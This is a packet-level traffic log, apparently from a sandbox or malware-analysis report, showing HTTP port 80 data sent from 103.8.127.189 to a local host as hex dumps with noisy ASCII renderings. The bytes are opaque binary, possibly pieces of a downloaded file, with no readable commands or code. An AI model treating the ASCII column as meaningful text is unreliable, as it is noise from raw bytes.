Feb 27, 2014 17:56:08.767414093 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b5 f1 03 e5 ff a4 0b 00 f6 f8 10 ac 9f 10 c2 bd 53 15 ab 28 db 39 26 ad 9f cc 6b 80 bf b1 2c e1 3b 98 c2 81 56 94 46 64 56 70 07 61 97 f8 03 29 b7 90 02 c1 92 b9 2f 2a 13 d1 e2 25 88 d9 aa a0 9f 68 0b 80 1e d0 22 8d df 55 2f 9e 36 1d 4e 4c 47 31 Data Ascii: S(9&k,;VFdVpa)/*%h"U/6NLG1k$zY!/"V0FF!{> uVK-c9h$v6TM$Wd\wrbw;6T;_tC>-G<Fh1r;9%pK,y(S)c	790
Feb 27, 2014 17:56:08.767416954 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0b 75 4f ec 97 60 0b 00 1b 9c 38 00 17 f5 2f 2e 5e 90 2e 49 43 f0 c2 20 da e3 0e 61 da 71 8b ed 3b b0 82 f3 77 5d 87 2d 96 1d 03 6d 9f 20 0e 41 5f 34 84 e8 da d1 c2 4d 77 3d a3 8c d6 f8 ca ad 72 27 e6 65 5b 71 c3 ed 7b f0 c7 c7 f6 78 27 c9 57 94 Data Ascii: uO`8/.^.IC aq;w]-m A_4Mw=r'e[q{x'W q>Tt-[n!kq7qfmF\|e;O/XF$3;qK6x^n,JtaNe?y3/2}GD$q+#}iKe[q,N	792
Feb 27, 2014 17:56:08.767607927 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1a 74 ed ed 16 95 4f cd b6 b4 6b 21 94 9c 8a c0 9a 8a 0b e0 92 9c 3c 00 3f f8 82 1b 32 38 2e 24 32 b8 0e 25 ff b4 ca e1 3b 78 22 ad 13 34 03 6d 5b 58 ca 80 09 f8 2a 09 9f 00 0b 04 3f 79 2b ed 57 18 82 e3 1b 14 e7 60 39 d8 a7 49 92 85 af 69 5e b0 Data Ascii: tOk!<?28.$2%;x"4m[X*?y+W`9Ii^P#a9Fqa 7xrfntD!q,fkYk\|sM[j$;)Vq/r$e/11v\|7fv8$,(%q'	792
Feb 27, 2014 17:56:09.069274902 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 86 80 9f 3c 0b 4c 7b 71 03 49 7e f5 2f 2e 9a bd 8a e8 46 74 0e e5 97 a5 06 24 d2 35 5e 00 df d8 26 02 37 9d 4e 21 e4 b0 c2 84 df a8 4b a9 72 f8 9f e0 93 7d c3 a1 bb 31 43 24 1e b5 c2 a0 3f eb 4e 61 97 71 ee 00 5f 70 ee 31 bb 1d e2 21 b8 d8 c7 a0 Data Ascii: <L{qI~/.Ft$5^&7N!Kr}1C$?Naq_p1!r$XY;Fvd{>c-#$^31b5K>Q,jbfk=.^p*/ry&$&f)~Y8CF)GMr,Q<V$/}e\'j>)	794
Feb 27, 2014 17:56:09.069293022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 07 8d 77 18 06 61 f6 3d 67 e8 df b5 cf 54 5f d4 4b 05 92 bd e7 ec 1e c5 0b 24 13 f1 18 ed 5e 95 e6 fd 16 d1 cb 40 f6 11 c7 4c 5f 15 0b 80 1b 14 2b e5 5e f5 66 fe d6 f9 87 28 64 d9 ca 64 9a e2 af 44 da b4 d8 e0 9f d1 82 bf d7 d5 4b 81 50 dc 2b 61 Data Ascii: wa=gT_K$^@L_+^f(ddDKP+a>!P?E1#3K!/^CD$!S9 By-^QE\|zDSO1V,pqy!I=Z(-\]\|Hdy-	795
Feb 27, 2014 17:56:09.069295883 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5e e5 9f 50 a2 f1 52 34 62 64 b9 35 4f cc 97 ac 8f 24 f7 d1 d7 00 9f f4 03 31 d3 fc 03 60 03 bd cf 28 92 35 6b 21 5a 31 72 e4 9a 14 c7 9f d3 9c 82 05 70 b8 66 20 ff 90 c6 24 f6 f1 1d c9 9f 18 a2 f1 f6 11 6e c0 41 bd 03 80 9f 20 67 64 d2 5d 38 e5 Data Ascii: ^PR4bd5O$1`(5k!Z1rpf $nA gd]8;/tdyDW43!cb$`iDFd4uFteDUC~qX}U(faOUUw=!IrwU+r	797
Feb 27, 2014 17:56:09.069298029 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cf 1c 36 f0 06 a1 6a b8 cf 61 9f a8 0b 04 bf d8 08 ed 1b f8 66 da 56 f4 27 24 42 b5 a6 84 ff d8 06 8d db 1d 75 e5 53 d1 c2 dd 56 9d 0e 68 56 b8 23 a0 df 9a 86 61 1a 58 3e ed 1f d1 cf cc 56 19 c3 e8 59 b8 ab c0 9f b8 ca cd fe 31 1d e5 33 b5 c2 e5 Data Ascii: 6jafV'$BuSVhV#aX>VY13piarM7;S5vVpNmq*asI2/.VgieFr{RfrgKa^Ka;Y[kAca/Vt&D$^N1_R	798
Feb 27, 2014 17:56:09.069317102 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 82 9b d6 39 4a c4 71 15 c2 e4 d6 66 2f 08 f6 1c 37 a8 9a 18 82 13 53 f8 eb 45 64 d4 e6 a0 b6 2b ca 0d 1b fd 18 a8 ff b0 a2 31 52 78 43 e0 65 fd 87 e5 3b 14 86 00 1b d0 0b 49 97 f5 87 3e 96 35 83 4c 71 15 87 e0 33 12 2f cd f6 f5 27 ed 9f b0 e6 f1 Data Ascii: 9Jqf/7SEd+1RxCe;I>5Lq3/'pB=i/a.Q1b9[xr/<F0!;Q69fSx2\AMZek+`^4kf~k;R*D1O;9'fD[/~	800
Feb 27, 2014 17:56:09.069358110 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 03 00 5e 54 06 61 7b 55 6b a9 9a fd c3 1d db 39 4f 2c 62 f0 03 cc 3b a7 0b 2c 77 71 13 ad f2 f5 4e 6f 5f b8 a7 29 2b dd 46 00 bb 8c af 21 73 71 ff ed b3 f5 4a ff bb 95 c7 80 ad 55 6e 88 9f f8 0b e5 36 34 18 a9 d2 f5 2f 0d 56 95 06 2c 7a d8 0a 0c Data Ascii: ^Ta{Uk9O,b;,wqNo_)+F!sqJUn64/V,z;;5(6$FG)>UjD$KK$\|4?,8;cdW54nlT!4`kay+4V=dhDd\|vOo^}nXNsqJV#B'k$5lr	801
Feb 27, 2014 17:56:09.069542885 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 03 a1 b7 6e 2f ec bf 9c 08 e0 72 50 c3 81 56 b5 ab 44 7a 79 cf 41 Data Ascii: n/rPVDzyA	801
Feb 27, 2014 17:56:09.080198050 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f6 bb ca 64 3f 9c 0c ad 97 71 a2 74 12 b0 63 24 aa b5 2f 84 9e d3 0b 6d f2 71 13 ed bb f8 eb f1 13 19 23 24 b2 b8 c2 ad 57 a7 0b 40 13 7c 26 e4 92 90 8e ad 56 d9 43 29 63 f8 87 a4 d3 12 06 65 5b 55 5f ed 5e 79 eb f9 5e b0 c2 21 58 55 82 04 12 4a Data Ascii: d?qtc$/mq#$W@\|&VC)ce[U_^y^!XUJq+Ix)fEVxzy$/s+4_/!,?lhvykr-SKV+`^BSy$fMR,=N^9C$R0UF,O +y;x+$Z2/	803
Feb 27, 2014 17:56:09.080204964 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9a 4a 43 60 3b d4 ad 2c d7 fc 86 ca 57 78 ef 25 54 1c 6b e5 9f 54 e6 61 fe 35 a7 2c 56 78 e6 ed b7 34 cb a8 b1 b8 8e 61 96 b9 ce 24 ff 54 d6 ed df fd 4f cd 17 d5 67 e1 3c b5 66 a0 9f d8 ee 64 72 bd f0 00 da fc c2 29 de b0 e7 48 41 bd 8b a0 5e 18 Data Ascii: JC`;,Wx%TkTa5,Vx4a$TOg<fdr)HA^,:>q @CMgDr]:5bu,MymJK^$7OKUxj$\|k,M$I34CUMT-V`x+D6/jlUMD	804
Feb 27, 2014 17:56:09.080316067 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d6 55 86 f6 5e 95 43 21 6c f8 63 45 9e 06 03 e8 da 7c 2a e0 5a b9 27 b6 56 5d 26 c9 65 35 8b e9 f2 84 af 21 1e 9c f0 ad fb f5 6a 65 56 7c 03 2d 6b 1c e6 49 ba 6d 0b c9 1e 34 00 a8 9f 31 ea 07 5b b8 62 80 05 bd 82 6c 92 27 02 e5 bf 35 74 ed 16 5c Data Ascii: U^C!lcE\|Z'V]&e5!jeV\|-kIm41[bl'5t\!j:k)4{'Faj@7MtY&!Ow;_^0CDn+6?1)B~VtDJTG4CS+a{\|;SyF$$a[\|2,>YN	805
Feb 27, 2014 17:56:09.091078043 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 46 ad 47 1c e6 48 9f 61 43 6c f6 71 15 c1 1f 78 ca 7d bb 79 ab 48 8b bd c2 80 f2 2e 82 8c 16 31 cf 80 ba f5 c7 df 56 7c 03 41 58 b8 2f e4 d3 95 ce 8c 12 d4 ef 64 5e 18 c2 61 56 9c 4e a0 75 f8 c2 00 be 2e a6 09 f6 79 15 ec be b0 cf c0 5f 11 46 08 Data Ascii: FGHaClqx}yH.1V\|AX/d^aVNu.y_FfVoyV-xE_QQVy&GUHfyFDUiB$fr1i?^P4f^xFTM{qZ7VqFLF^xQ@fuAF	806
Feb 27, 2014 17:56:09.091085911 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 8f e5 66 3c 82 e0 9a 52 06 05 9a 74 49 6c 73 f5 c2 cd 56 14 06 24 76 34 ca ad 12 fc 06 09 1f 71 7b 00 be f5 2f 5e bb b9 4b 44 9e 91 47 a5 9f 00 2f 24 7f fc 17 8d 93 18 87 92 5f 9c ef 80 11 d4 26 ad 97 0c 0b e1 fa 9c 14 c9 b3 b0 cf 70 56 70 26 64 Data Ascii: f<RtIlsV$v4q{/^KDG/$_&pVp&dDTrq7IV-c/!V$R5*ah1iAIt$KMxQSx$9Nk(y'r9$^9&D(MysSUHYD~	808
Feb 27, 2014 17:56:09.091089010 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 46 a1 b5 79 ea 4d 9f b4 42 c8 16 39 2e a8 5b f5 c2 0d 5a 7c cb c1 f5 d8 66 a8 9f b8 2b 05 bf 58 17 e4 b3 51 c2 b1 db 30 02 c4 68 b8 ab 04 97 84 ea e5 f6 34 17 8d e8 c6 4e 4d 92 b5 6b 65 1b d5 58 e0 53 f5 e6 9d 73 30 02 05 e8 f8 c7 ad df 2e 8f 85 Data Ascii: FyMB9.[Z\|f+XQ0h4NMkeXSs0.Q:xf_Y&h5DmBd0.ka[ `wsbU^tp_VF5CC[q<F@CrZdi&bG'!	809
Feb 27, 2014 17:56:09.112879038 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d5 ed 9f 18 46 f0 77 35 ee e4 7e 79 c2 4d 9f a6 ee 21 9e fd 75 00 3b 51 ee 01 3e 71 83 a8 88 b8 cb 4d 5a b6 4a e5 fb b4 15 e5 da f8 06 ca 3b 9c a2 8d 36 1c 82 ad b3 4f 63 44 9b 78 1f a9 9f fc 07 3a 76 71 e7 cc 8a b8 66 a8 16 99 63 24 5f 79 96 c9 Data Ascii: Fw5~yM!u;Q>qMZJ;6OcDx:vqfc$_yxk,/`wix&q+HFSyUVh$7`QGRyCEs!3Yqz@45,!S9FEwY,Fvi$N^	811
Feb 27, 2014 17:56:09.112895966 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da c9 92 f5 c2 2d fb 9c 6b c5 f5 f8 c2 a9 92 ad 63 2c 5e 54 90 ec 72 b5 c2 45 9b 71 43 25 c2 dd a2 04 9f a4 c2 44 df 70 55 88 9f 34 82 bf be 31 6b 0d 69 fd c2 a0 9f 68 cb 24 96 58 d9 6d 9f 18 87 72 d7 35 4b 20 fe 31 cf a5 12 b0 e6 a9 bb 75 57 41 Data Ascii: -kc,^TrEqC%DpU41kih$Xmr5K 1uWArt n}t->Df2x9H)E7Uj(r$Aav?)Utlxah$yEr/2qh!SXOtF$?t	812
Feb 27, 2014 17:56:09.112992048 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e6 ed 96 b5 87 e7 56 f1 e3 2d 42 35 82 a0 9f 89 ca 44 92 fc 31 e8 9f f8 2a 79 56 5c 2b 4d 52 d8 c2 ad 3b ad 06 24 d7 54 4b 60 9f fc 0b fa 56 35 02 0d 73 bd c7 4d 32 06 4e e9 fe d9 e2 a8 3b f8 0a 0b 36 dc 46 c0 54 35 86 ad 37 9c 4b e8 53 fd b1 c9 Data Ascii: V-B5D1yV\+MR;$TK`V5sM2N;6FT57KS].{$Iw]_;FJ_b@"#ytOD^Z:9@!S9OB/D5q?i8}V1FfO%Vt)g,mDl}BqFxmkd_5%C4	813
Feb 27, 2014 17:56:09.146099091 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c2 c0 9f a8 cf c9 f6 19 27 e4 f7 f5 8e 3a bb d5 42 09 b6 b1 87 a0 bb d8 4e c9 1b bc ab a4 12 f1 02 7a 13 35 4f 85 b6 b8 c2 e4 9f a4 66 00 13 b8 5a e9 3b 5c ea 61 36 71 ef e4 4d f8 c2 ad df 2e 0a 00 1e 39 12 a0 fe d5 e2 29 97 d5 6b c9 72 b8 82 a0 Data Ascii: ':BNz5OfZ;\a6qM.9)kr?zVVOm~fy-V0JlVFNr$_qBVqO/l7*cV4csa)^]S_qH-_<"q+h:qAe\[tH	815
Feb 27, 2014 17:56:09.146117926 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c2 8d 32 a9 6b 21 de 18 76 61 76 18 cb 60 5e 15 46 2c 46 b8 86 65 3b 9c 83 29 7a d5 03 49 3f f5 66 1e 97 54 4e 44 76 b0 e6 8c b6 a3 a7 29 9b 7d 8c 6d 32 fc 66 5a 56 99 06 24 6e b0 ca c5 56 a8 2f e5 d3 30 9a a1 56 78 e6 3d 72 b5 46 c9 65 79 cf 60 Data Ascii: 2k!vav`^F,Fe;)zI?fTNDv)}m2fZV$nV/0Vx=rFey`arubVq$Z-ZYJVbu$,d\|4VpF$vyl;,V$vOD,$X<$UodWV4Dv/!jZl6Q1_$dDUh/V9b,FH	816
Feb 27, 2014 17:56:09.146121979 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 87 0d da 97 2e 24 1b 51 da e0 3e d1 a7 af 56 b0 63 65 4d 9c 22 ad 72 97 4a 64 1e 50 33 ed be f5 03 fc 5e 9c 62 89 7c b5 e2 a8 bb f0 0b 60 13 f8 6a e5 7b b5 ae f6 5b 9c 8f a4 34 bd e7 65 db 17 e7 60 bf d5 66 c9 ff 34 43 ff f2 79 83 0d 88 fc 83 a5 Data Ascii: .$Q>VceM"rJdP3^b\|`j{[4e`f4Cy~Nd:JycNmT`qUxkD[9sFV*LUmTBasVq@@E$4'^KV,<VyCeL{$<V4C'B[p#SyM	817
Feb 27, 2014 17:56:09.146276951 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 82 17 97 34 02 4c 38 55 07 84 d3 6a e6 85 96 fc cb a0 fb 78 03 81 16 71 cb 60 86 f8 cf 84 7e 19 0b 49 96 11 0b e9 57 79 a2 59 3a 79 4b 20 c1 b8 06 04 52 86 02 21 96 71 7b 05 de 79 03 55 57 74 06 61 6e bd 63 e5 5f 26 0b 28 3f 9c 18 20 92 15 a2 f5 Data Ascii: 4L8Ujxq`~IWyY:yK R!q{yUWtanc_&(? 74Fa6w/%U/6j@;Ux&zH?5HHF[qhfj~U&$g-YNLt$z\|C,@q%\:yFmUzY{x_1WFKMq;	819
Feb 27, 2014 17:56:09.146291018 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cf 34 bb 94 46 c5 a6 dc 27 0c 17 6d 06 21 3b 7c 7a c9 da 9d cb c8 f2 94 46 08 94 35 ee a4 93 3f af 00 fa 74 d9 c9 3b 90 66 c2 12 7d cb c5 84 9d 0e a5 77 b6 af 80 32 b0 eb 2c 9f 5d c2 f9 36 dd 26 8c 77 51 ab 85 96 6e 4b 24 df 71 93 2c 92 d9 cf e8 Data Ascii: 4F'm!;\|zF5?t;f}w2,]6&wQnK$q,SyKGmkD:q/FmmI$x;\1F;!\|2ryFVax^$\|@2DrF)u.$;YFT\N*vL)quO	820
Feb 27, 2014 17:56:09.146369934 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 87 5e 5f 15 ab 21 38 5d 8b cc 92 29 ca 44 1f b0 1b 4c 5b b8 e6 09 72 9d 02 2c 4a 74 22 a5 72 ff 02 24 fe 7c 5a 84 d7 f4 c2 35 13 99 4e 64 a4 5c 8b 45 df 2e 2f 21 f6 74 35 09 12 71 cf dc 56 7c 46 e5 46 70 e7 a5 9f 0c 6b 24 d2 71 17 08 fb 15 c2 49 Data Ascii: ^_!8])DL[r,Jt"r$\|Z5Nd\E./!t5qV\|FFpk$qI&u$zq-V$Zh$~~SUF-$q6Z6)vL^VT$V $4M}[F%grN$rqHT/6baU9$Zqi/\|$=o6fV	821
Feb 27, 2014 17:56:09.157062054 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c7 e8 3a 9c 1c 60 f6 d1 07 ff 5b 55 8e 21 04 74 4b e0 bf f0 0b 00 13 55 1f c4 9b f5 8f 2f bb 71 87 e5 86 98 27 a5 9a e2 4b 24 77 31 9d c5 37 d1 a2 4d 13 9c 0b e5 b6 90 4b 4d f7 b7 03 61 f3 34 2c 45 de f5 cb 5f 12 78 ee 24 9a 3c 66 a0 57 79 0b c9 Data Ascii: :`[U!tKU/q'K$w17MKMa4,E_x$<fWy1%%?gqaMF;_'rq$JBQq_O61$fQbDqxq1I`'_cVUE$x#VjaA1!xKQWqU$Jq7	823
Feb 27, 2014 17:56:09.157068968 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e6 49 76 7d e5 49 fe f4 c3 3b f2 b0 87 60 85 d8 e6 a0 be 8a 03 48 b6 5d 20 e0 12 31 87 87 56 55 87 00 46 79 22 c0 ff a8 0e 2c ba b4 85 c9 3e 11 02 db 72 11 46 e5 46 bd c2 2d 9a 2a 2f 45 17 f0 05 49 7a 38 8e 20 56 34 46 80 75 1c 63 4d da 65 0b 09 Data Ascii: Iv}I;`H] 1VUFy",>rFF-/EIz8 V4FucMes1,4Fdy[Vr4FvJ~$g_qb5K$}F$w!6j:y`k&vC}D/+:S$M/t3tf_qFDy	824
Feb 27, 2014 17:56:09.157073021 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2b 28 bf 71 97 2c 3a 3c 87 fe 73 f9 46 80 95 d8 af 6d 9f 88 cb 28 1b 74 29 00 12 d4 c2 15 3a b1 06 21 9c b5 0a 49 3b ff 27 28 12 71 af ed b6 f0 a2 c9 b6 55 43 44 ee b8 e2 24 9f bc 23 8c 96 7c 3a 49 b6 10 c2 21 fe d4 46 44 b6 f8 2e 0c da 23 ce c5 Data Ascii: +(q,:<sFm(t):!I;'(qUCD$#\|:I!FD.#?C5+xI}f&uN5diM{K3$y&qs71zUrlO\&DyJC^qtvF."qbO$%K;O(?	826
Feb 27, 2014 17:56:09.259126902 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ab 24 7a d8 2f 2d 13 99 23 61 5e 71 d7 29 bb f1 07 70 13 d4 87 2c a6 b8 c2 25 da a7 ee 6d 1e 78 42 ec 97 75 6f f4 5b 9d 06 00 2e b8 c2 8d 93 af 0b ed 1b fc cb 85 72 fd 27 c0 bb f1 43 61 8d b5 c2 8d f7 e0 6a 20 5b fc 93 49 9a 1d e6 5d 5e d8 43 c9 Data Ascii: $z/-#a^q)p,%mxBuo[.r'Caj [I]^CMLL4r#VFy/?U?^B6pF$FL 9*SXb!/!3\|6]FVFDvyc[3^}$\&)3ebxFUa$48)7Ca	827
Feb 27, 2014 17:56:09.259135008 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 43 80 7d 34 c2 a0 da 6b ca 25 52 7c 56 00 9f 35 ca f5 77 31 43 84 6d f0 66 e5 96 55 46 a0 13 9c 20 a1 97 7c 66 36 f3 71 26 61 07 d5 c2 84 df 2a e7 e0 9a 31 55 85 72 d9 cf 44 f7 71 02 2c 08 78 03 61 5e 28 c3 c0 fe 78 6e 41 72 38 c2 81 bb 71 4b 65 Data Ascii: C}4k%R\|V5w1CmfUF \|f6q&a*1UrDq,xa^(xnAr8qKeur;drq/r4]hyrFaPf&H5d\?5bI59"V\|C,\|(qqF(644`s\|iM%$\|FHdsKmq	829
Feb 27, 2014 17:56:09.259147882 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 03 e5 5a d8 86 e4 3e 94 0e a9 73 58 51 00 12 f1 cf 3e 72 35 e2 64 68 bd 03 61 1b 29 8f 24 16 d4 91 ed 12 f9 47 f9 16 fc 46 64 d4 d8 ef 61 53 98 ea 2c 5f 50 50 00 9f dc 8b 34 56 71 46 24 56 55 2a a0 fa 49 6f e5 9a d8 d7 a8 df 34 cb 1a 56 11 06 24 Data Ascii: Z>sXQ>r5dha)$GFdaS,_PP4VqF$VU*Io4V$Nc.t[8&,6Vxr!HW-C}8_UF)'a:\Cr85)y/26Fv5-r\;8'VF$vcay^V)G;\|Vj	830
Feb 27, 2014 17:56:09.259150028 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 6b 44 f7 74 1d 48 17 5d 06 61 fe 70 22 04 92 f9 0e e4 3b 51 0b 82 56 71 4a ac 9f ac 67 85 1b 90 88 ac 52 d5 4f 00 e6 55 c2 a8 17 7c da a9 9a 91 ca 1d f7 f9 0f a0 17 7b ce 84 36 fc 4a d5 97 71 03 81 4b 55 c2 ac 1a 34 d0 61 ff d1 e6 1d 17 15 cf 85 Data Ascii: kDtH]ap";QVqJgROU\|{6JqKU4aBGV\|,ZJ [dB)PzFmKqgJD!r[9y_2$J"qsQ;^=-JD=L{K(V1mg$qQZLj.	831
Feb 27, 2014 17:56:09.259152889 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0f 4d ff a5 0b 00 7b d5 4a fe 3e b8 ab 20 09 5d 82 ac f2 fc 30 00 7b 51 4e 13 17 1c c2 c0 5e 68 8b 2d 5b f9 c6 84 9f 71 47 08 41 1c 4a 21 1b 71 c9 ed 97 b1 2f ac 49 d4 c6 a0 f6 ba cb e5 17 35 a3 f7 f2 b0 06 a5 8f d9 0b 44 1b 71 1b 8c 31 98 e8 ac Data Ascii: M{J> ]0{QN^h-[qGAJ!q/I5Dq16yByJ}4^1\|mrynJ`7G_18L/"GAsqJ~f1/rr'"G>@Ic-,?JEJOa~jqF7,/	833
Feb 27, 2014 17:56:09.259285927 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c2 a5 13 a8 0a 2e 12 c9 5f 8c d7 b4 a7 24 f2 79 9f bd 57 f3 82 b5 16 49 49 ff d7 1c 4a 0c d7 c0 06 a5 ba 71 43 8c 56 71 e7 28 46 fa 57 64 1a a9 4b 38 5b 7d 23 87 46 5b 43 e1 40 5d 43 7d 2f da 6a 28 32 d9 4f 86 37 d9 4a c9 d7 87 a6 0c 32 34 6f b9 Data Ascii: ._$yWIIJqCVq(FWdK8[}#F[C@]C}/j(2O7J24ojn]Jwuig9}=:fO3eO(s4\+mN@;mV>wvguV%RJ$1w1CnWt$<aGN!_JNq,y3wvPKJ	834
Feb 27, 2014 17:56:09.518100023 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: cf 39 4e a0 9f c8 48 ed 17 79 08 e8 3b 38 c3 75 8f b8 63 ac f5 b3 4b cb 16 7d 29 e4 35 1d 2a e4 86 59 c2 d9 5f 94 46 2c 5e 9b 43 ad 56 91 4b ee 26 bb eb ef 26 15 63 fd 5a 7d 76 2d 92 79 76 ac 95 c5 66 fa 1f 7d cc 90 0d 7d af 80 5a 10 66 2e 2b 98 Data Ascii: 9NHy;8ucK})5*Y_F,^CVK&&cZ}v-yvf}}Zf.+1\%c\|vf79>h=MrcV7InyBiF\|n,$lWtq,K,?jlFrwcR+WVDdvzTyTXn2wKw	836
Feb 27, 2014 17:56:09.518119097 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 3f 6c 3c 00 3f 8b e6 05 36 cd 63 01 13 f7 a5 3e 0e df 4d a6 7a da 5b e5 73 a1 62 bd 1a 66 49 e9 3a f8 d5 68 7a ab 42 64 92 65 4f 49 b8 f0 ef a5 a3 79 8e fd 66 98 16 7d d3 fb da e3 20 b9 7d e4 57 ce 03 51 55 ce 6e e5 20 28 1c 5d d5 98 9a 3d 0e 96 Data Ascii: ?l<?6c>Mz[sbfI:hzBdeOIyf} }WQUn (]=BwO\)?0()$nnW%nd?$q\ddd[diJdf)(VJHH<HGj?},3G"apRhVlb>mb~U	837
Feb 27, 2014 17:56:09.518121958 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f7 b9 00 ab f4 8b 6a 3b 35 f8 e2 6d f6 9c 04 16 bb b9 44 3e 15 5a 6a 3b 11 ee 47 68 1c 19 82 29 53 bc 58 8b 80 f9 f6 68 b1 e1 e6 21 bb 38 6e 6c 1c 10 e7 e4 97 f5 b4 cc 7e f4 c7 89 b3 b0 40 4c b5 b0 2e 08 5e 9d 2e 28 67 f9 c7 25 1b fc 9b a8 33 b5 Data Ascii: j;5mD>Zj;Gh)SXh!8nl~@L.^.(g%3Zma$9FAbvg-kWC)]_o@c1^iYS*i?Q=K-T7b5y^HD,"U14mktBdQkVq3OqJ78	838
Feb 27, 2014 17:56:09.540430069 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 51 ae d6 86 51 f4 3b 95 0e 29 e3 19 8a 80 1b 71 5b 6c 54 98 28 ac 96 c7 46 ed 73 7e d6 4c 17 3d 5b 7b 85 99 02 ac 9a 1c d9 45 1e d1 a7 72 17 78 cf 25 5f b0 43 01 52 f9 87 f3 93 f9 43 cd a5 f4 1a 24 1b 70 da d9 0c f1 39 b7 d6 e8 39 b7 9b f8 12 4c Data Ascii: QQ;)q[lT(Fs~L=[{Erx%_CRC$p99L~yiRZ{ ij)`GDhG rjEqBF}9R->rh.-[uF=s"DjPwa\|Z!=?(Bm>uF$BL8N%iOD}G YrVe	839
Feb 27, 2014 17:56:09.540446997 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a7 b3 b2 9c 62 a5 17 12 88 a5 1b 39 56 f1 be f9 2b ad 9f 84 0b ed da bd 4a f9 9a bd 8a e8 46 31 2f ac 5e f8 62 01 1e 19 c2 fd 57 b9 c2 a0 3e a8 e3 ed 93 99 4a e1 92 34 db 65 f7 11 0b 8c c1 b9 c2 c8 7b 38 38 c9 85 fd 0e a4 d6 c2 aa a0 f7 b9 0a ac Data Ascii: b9V+JF1/^bW>J4e{88/s%W>!K\|Z!U_\|G=m@=Vqa~vNW"JdC;q["M{&\|)B<syVU\ VUVUJrqR=M6y%	841
Feb 27, 2014 17:56:09.540452003 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5a 28 f2 fd 1d f9 1e 11 0b 64 17 34 c2 a5 47 dd 2a a0 76 bb 1a ec 3a 99 0b ad df 29 41 05 37 f0 2b cc 4e 30 8b 95 37 14 5a c8 f3 68 c7 be 0b 99 06 c9 3f 83 0e ec 85 a9 c6 e8 95 b8 4b 40 16 f1 3d 3f 42 66 c6 de 67 39 5c ad 2c 78 2d 1e fe 58 02 49 Data Ascii: Z(d4Gv:)A7+N07Zh?K@=?Bfg9\,x-XI0iWIl\FvkjLMIIj!+X2$\|Oox$Dxr?FpHi&$N=FPxn`Dh}-	842
Feb 27, 2014 17:56:09.540455103 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4b 8c 95 f8 c8 04 f3 38 43 e5 86 78 e2 7c 42 31 cf 08 52 c0 c7 af 63 bd 3a ac fe 50 aa 41 fe b0 eb 25 53 9d c9 ec 01 f8 a6 e0 97 4b 37 2c 56 58 8e ad 57 3d 4e ee 67 67 4e ec 67 bb 48 ef 67 fb 63 01 37 ff ec 86 37 fa ec 8c 17 5f e4 68 7f 75 eb b9 Data Ascii: K8Cx\|B1Rc:PA%SK7,VXW=NggNgHgc77_hulLW$/(V[pkd)uYK%sxvcT<{[G{D'iMrh1Ht\|ZJ`aFKN;P6/]q->%F:\|9}%7+3	844
Feb 27, 2014 17:56:09.540457964 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4f 4c 57 8d 0b c9 7e b5 23 18 5e 74 ca 49 40 54 c2 c4 96 21 7a eb 3f 14 55 01 27 e9 a1 de 68 d5 0e bc 1b 15 99 e4 f7 bf 48 88 53 e9 ab 21 c8 30 8b e4 9f b1 42 8d 8b b2 2a 6d 5a 95 1a de 3e b5 4a ec 9e 90 0b 4c f7 34 11 ec 57 71 ae 21 47 5d ca c9 Data Ascii: OLW~#^tI@T!z?U'hHS!0B*mZ>JL4Wq!G]qKmUaSL(1/{"aSf9:[0ZIZp" yKG=NL qG@d-!/<MV^Zp$UO\|GbY$sqj=	845
Feb 27, 2014 17:56:09.540594101 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5a a0 f7 a8 47 6d 19 35 47 c4 17 9c 18 00 72 b5 2f 06 53 f8 8a f7 ce b8 07 e5 3f b8 03 ad 36 96 8a 41 bf 71 5b 28 da f1 ea 24 06 79 4f a9 06 3d a6 ae f6 b9 44 ad 5e d9 db 6c fa f1 e6 24 0e 58 49 b5 3e 95 8f ac 9e b4 0b 4c ff bc 10 ec 37 71 ab 21 Data Ascii: ZGm5Gr/S?6Aq[($yO=D^l$XI>L7q!H8J$sp_X]MTXG;5xC^4~vNWJd1C;)qKjH--K+W4,:(vgM6y<G!b<K	846
